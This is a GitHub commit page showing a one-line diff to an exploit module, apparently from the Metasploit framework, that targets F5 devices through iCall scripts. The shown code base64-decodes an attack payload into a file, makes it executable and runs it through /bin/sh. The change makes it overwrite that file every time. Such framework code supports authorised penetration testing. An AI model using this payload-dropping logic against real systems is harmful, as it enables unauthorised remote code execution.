Skip to content

Commit c0d9c65

Browse files
committed
always overwrite the payload file
1 parent 109a733 commit c0d9c65

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

modules/exploits/linux/http/f5_icall_cmd.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -211,7 +211,7 @@ def check
211211
def exploit
212212
# phase 1: create iCall script to create file with payload, execute it and remove it.
213213
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
214-
cmd = %(if { ! [file exists #{@payload_path}]} { exec /bin/sh -c "#{shell_cmd}"})
214+
cmd = %(exec /bin/sh -c "#{shell_cmd}")
215215

216216
arg_max = datastore['ARG_MAX']
217217
if shell_cmd.size > arg_max

0 commit comments

Comments
 (0)